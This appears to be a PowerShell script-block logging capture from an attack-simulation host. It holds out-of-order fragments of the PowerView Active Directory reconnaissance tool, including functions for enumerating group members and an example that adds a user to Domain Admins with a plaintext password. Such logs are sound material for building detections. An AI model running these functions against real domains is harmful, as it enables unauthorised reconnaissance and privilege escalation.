Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGroupMemberDeleted | Group-Object GroupDN Count Name Group ----- ---- ----- 2 CN=Domain Admins,CN=Us... {@{GroupDN=CN=Domain Admins,CN=Users,DC=test... 3 CN=DomainLocalGroup,CN... {@{GroupDN=CN=DomainLocalGroup,CN=Users,DC=t... .EXAMPLE Get-DomainGroupMemberDeleted "Domain Admins" -Domain testlab.local GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local MemberDN : CN=testuser,CN=Users,DC=testlab,DC=local TimeFirstAdded : 2017-06-13T23:07:43Z TimeDeleted : 2017-06-13T23:26:17Z LastOriginatingChange : 2017-06-13T23:26:17Z TimesAdded : 2 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca l GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local MemberDN : CN=dfm,CN=Users,DC=testlab,DC=local TimeFirstAdded : 2017-06-13T22:20:02Z TimeDeleted : 2017-06-13T23:26:17Z LastOriginatingChange : 2017-06-13T23:26:17Z TimesAdded : 5 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca l .OUTPUTS PowerView.DomainGroupMemberDeleted Custom PSObject with translated replication metadata fields. .LINK https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.DomainGroupMemberDeleted')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{ 'Properties' = 'msds-replvaluemetadata','distinguishedname' 'Raw' = $True 'LDAPFilter' = '(objectCategory=group)' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } Get-DomainObject @SearcherArguments | ForEach-Object { $ObjectDN = $_.Properties['distinguishedname'][0] ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) { $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue if ($TempObject) { if (($TempObject.pszAttributeName -Match 'member') -and (($TempObject.dwVersion % 2) -eq 0 )) { $Output = New-Object PSObject $Output | Add-Member NoteProperty 'GroupDN' $ObjectDN $Output | Add-Member NoteProperty 'MemberDN' $TempObject.pszObjectDn $Output | Add-Member NoteProperty 'TimeFirstAdded' $TempObject.ftimeCreated $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange $Output | Add-Member NoteProperty 'TimesAdded' ($TempObject.dwVersion / 2) $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN $Output.PSObject.TypeNames.Insert(0, 'PowerView.DomainGroupMemberDeleted') $Output } } else { Write-Verbose "[Get-DomainGroupMemberDeleted] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'" } } } } } function Add-DomainGroupMember { <# .SYNOPSIS Adds a domain user (or group) to an existing domain group, assuming appropriate permissions to do so. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-PrincipalContext .DESCRIPTION First binds to the specified domain context using Get-PrincipalContext. The bound domain context is then used to search for the specified -GroupIdentity, which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For each entry in -Members, each member identity is similarly searched for and added to the group. .PARAMETER Identity A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) specifying the group to add members to. .PARAMETER Members One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). .PARAMETER Domain Specifies the domain to use to search for user/group principals, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' Adds harmj0y to 'Domain Admins' in the current domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force New-DomainUser -SamAccountName andy -AccountPassword $UserPassword ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989512 Keywords=None Message=Creating Scriptblock text (32 of 61): le, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{ 'Properties' = 'member,samaccountname,distinguishedname' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $ADNameArguments = @{} if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } } PROCESS { $GroupSearcher = Get-DomainSearcher @SearcherArguments if ($GroupSearcher) { if ($PSBoundParameters['RecurseUsingMatchingRule']) { $SearcherArguments['Identity'] = $Identity $SearcherArguments['Raw'] = $True $Group = Get-DomainGroup @SearcherArguments if (-not $Group) { Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identity" } else { $GroupFoundName = $Group.properties.item('samaccountname')[0] $GroupFoundDN = $Group.properties.item('distinguishedname')[0] if ($PSBoundParameters['Domain']) { $GroupFoundDomain = $Domain } else { # if a domain isn't passed, try to extract it from the found group distinguished name if ($GroupFoundDN) { $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' } } Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned." $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))" $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName')) $Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]} } $Null = $SearcherArguments.Remove('Raw') } else { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^CN=') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainGroupMember] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $GroupSearcher = Get-DomainSearcher @SearcherArguments if (-not $GroupSearcher) { Write-Warning "[Get-DomainGroupMember] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' $IdentityFilter += "(objectguid=$GuidByteString)" } elseif ($IdentityInstance.Contains('\')) { $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical if ($ConvertedIdentityInstance) { $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) $GroupName = $IdentityInstance.Split('\')[1] $IdentityFilter += "(samAccountName=$GroupName)" $SearcherArguments['Domain'] = $GroupDomain Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'" $GroupSearcher = Get-DomainSearcher @SearcherArguments } } else { $IdentityFilter += "(samAccountName=$IdentityInstance)" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $($GroupSearcher.filter)" try { $Result = $GroupSearcher.FindOne() } catch { Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identity': $_" $Members = @() } $GroupFoundName = '' $GroupFoundDN = '' if ($Result) { $Members = $Result.properties.item('member') if ($Members.count -eq 0) { # ranged searching, thanks @meatballs__ ! $Finished = $False $Bottom = 0 $Top = 0 while (-not $Finished) { $Top = $Bottom + 1499 $MemberRange="member;range=$Bottom-$Top" $Bottom += 1500 $Null = $GroupSearcher.PropertiesToLoad.Clear() $Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange") $Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname') $Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname') try { $Result = $GroupSearcher.FindOne() $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*" $Members += $Result.Properties.item($RangedProperty) $GroupFoundName = $Result.properties.item('samaccountname')[0] $GroupFoundDN = $Result.properties.item('distinguishedname')[0] if ($Members.count -eq 0) { $Finished = $True } } catch [System.Management.Automation.MethodInvocationException] { $Finished = $True } } } else { $GroupFoundName = $Result.properties.item('samaccountname')[0] $GroupFoundDN = $Result.properties.item('distinguishedname')[0] $Members += $Result.Properties.item($RangedProperty) } if ($PSBoundParameters['Domain']) { $GroupFoundDomain = $Domain } else { # if a domain isn't passed, try to extract it from the found group distinguished name if ($GroupFoundDN) { $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' } } } } ForEach ($Member in $Members) { if ($Recurse -and $UseMatchingRule) { $Properties = $_.Properties } else { $ObjectSearcherArguments = $SearcherArguments.Clone() $ObjectSearcherArguments['Identity'] = $Member $ObjectSearcherArguments['Raw'] = $True $ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,objectsid,objectclass' $Object = Get-DomainObject @ObjectSearcherArguments $Properties = $Object.Properties } if ($Properties) { $GroupMember = New-Object PSObject $GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName $GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN if ($Properties.objectsid) { $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value) } else { $MemberSID = $Null } try { $MemberDN = $Properties.distinguishedname[0] if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') { try { if (-not $MemberSID) { $MemberSID = $Properties.cn[0] } $MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments if ($MemberSimpleName) { $MemberDomain = $MemberSimpleName.Split('@')[1] } else { Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" $MemberDomain = $Null } } catch { Write-Warning "[Get-DomainGroupMemb ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989511 Keywords=None Message=Creating Scriptblock text (31 of 61): if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain $TargetDomain = $Domain } else { $TargetDomain = $Env:USERDNSDOMAIN } # go through the list of security groups on the domain and identify those who have a manager Get-DomainGroup @SearcherArguments | ForEach-Object { $SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountname,objectsid' $SearcherArguments['Identity'] = $_.managedBy $Null = $SearcherArguments.Remove('LDAPFilter') # $SearcherArguments # retrieve the object that the managedBy DN refers to $GroupManager = Get-DomainObject @SearcherArguments # Write-Host "GroupManager: $GroupManager" $ManagedGroup = New-Object PSObject $ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname $ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname $ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname $ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName # determine whether the manager is a user or a group if ($GroupManager.samaccounttype -eq 0x10000000) { $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group' } elseif ($GroupManager.samaccounttype -eq 0x30000000) { $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User' } $ACLArguments = @{ 'Identity' = $_.distinguishedname 'RightsFilter' = 'WriteMembers' } if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } # # TODO: correct! # # find the ACLs that relate to the ability to write to the group # $xacl = Get-DomainObjectAcl @ACLArguments -Verbose # # $ACLArguments # # double-check that the manager # if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq 'AccessAllowed' -and ($xacl.ObjectSid -eq $GroupManager.objectsid)) { # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True # } # else { # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False # } $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN' $ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup') $ManagedGroup } } } function Get-DomainGroupMember { <# .SYNOPSIS Return the members of a specific domain group. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for the specified group matching the criteria. Each result is then rebound and the full user or group object is returned. .PARAMETER Identity A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) specifying the group to query for. Wildcards accepted. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER Recurse Switch. If the group member is a group, recursively try to query its members as well. .PARAMETER RecurseUsingMatchingRule Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse. Much faster than manual recursion, but doesn't reveal cross-domain groups, and only returns user accounts (no nested group objects themselves). .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGroupMember "Desktop Admins" GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : Testing Group MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local MemberObjectClass : group MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : arobbins.a MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 .EXAMPLE 'Desktop Admins' | Get-DomainGroupMember -Recurse GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : Testing Group MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local MemberObjectClass : group MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 GroupDomain : testlab.local GroupName : Testing Group GroupDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : harmj0y MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : arobbins.a MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 .EXAMPLE Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : harmj0y MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : arobbins.a MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 .EXAMPLE Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember .EXAMPLE 'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins' .EXAMPLE Get-Domain | Select-Object -Expand name testlab.local 'dev\domain admins' | Get-DomainGroupMember -Verbose VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainGroupMember] Extracted domain 'dev.testlab.local' from 'dev\domain admins' VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins))) VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local))) GroupDomain : dev.testlab.local GroupName : Domain Admins GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local MemberDomain : dev.testlab.local MemberName : user1 MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-339048670-1233568108-4141518690-201108 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local))) GroupDomain : dev.testlab.local GroupName : Domain Admins GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local MemberDomain : dev.testlab.local MemberName : Administrator MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-339048670-1233568108-4141518690-500 .OUTPUTS PowerView.GroupMember Custom PSObject with translated group member property fields. .LINK http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.GroupMember')] [CmdletBinding(DefaultParameterSetName = 'None')] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] $Domain, [Parameter(ParameterSetName = 'ManualRecurse')] [Switch] $Recurse, [Parameter(ParameterSetName = 'RecurseUsingMatchingRule')] [Switch] $RecurseUsingMatchingRu ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989510 Keywords=None Message=Creating Scriptblock text (30 of 61): nGroup] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $GroupSearcher = Get-DomainSearcher @SearcherArguments if (-not $GroupSearcher) { Write-Warning "[Get-DomainGroup] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' $IdentityFilter += "(objectguid=$GuidByteString)" } elseif ($IdentityInstance.Contains('\')) { $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical if ($ConvertedIdentityInstance) { $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) $GroupName = $IdentityInstance.Split('\')[1] $IdentityFilter += "(samAccountName=$GroupName)" $SearcherArguments['Domain'] = $GroupDomain Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityInstance'" $GroupSearcher = Get-DomainSearcher @SearcherArguments } } else { $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['AdminCount']) { Write-Verbose '[Get-DomainGroup] Searching for adminCount=1' $Filter += '(admincount=1)' } if ($PSBoundParameters['GroupScope']) { $GroupScopeValue = $PSBoundParameters['GroupScope'] $Filter = Switch ($GroupScopeValue) { 'DomainLocal' { '(groupType:1.2.840.113556.1.4.803:=4)' } 'NotDomainLocal' { '(!(groupType:1.2.840.113556.1.4.803:=4))' } 'Global' { '(groupType:1.2.840.113556.1.4.803:=2)' } 'NotGlobal' { '(!(groupType:1.2.840.113556.1.4.803:=2))' } 'Universal' { '(groupType:1.2.840.113556.1.4.803:=8)' } 'NotUniversal' { '(!(groupType:1.2.840.113556.1.4.803:=8))' } } Write-Verbose "[Get-DomainGroup] Searching for group scope '$GroupScopeValue'" } if ($PSBoundParameters['GroupProperty']) { $GroupPropertyValue = $PSBoundParameters['GroupProperty'] $Filter = Switch ($GroupPropertyValue) { 'Security' { '(groupType:1.2.840.113556.1.4.803:=2147483648)' } 'Distribution' { '(!(groupType:1.2.840.113556.1.4.803:=2147483648))' } 'CreatedBySystem' { '(groupType:1.2.840.113556.1.4.803:=1)' } 'NotCreatedBySystem' { '(!(groupType:1.2.840.113556.1.4.803:=1))' } } Write-Verbose "[Get-DomainGroup] Searching for group property '$GroupPropertyValue'" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter" 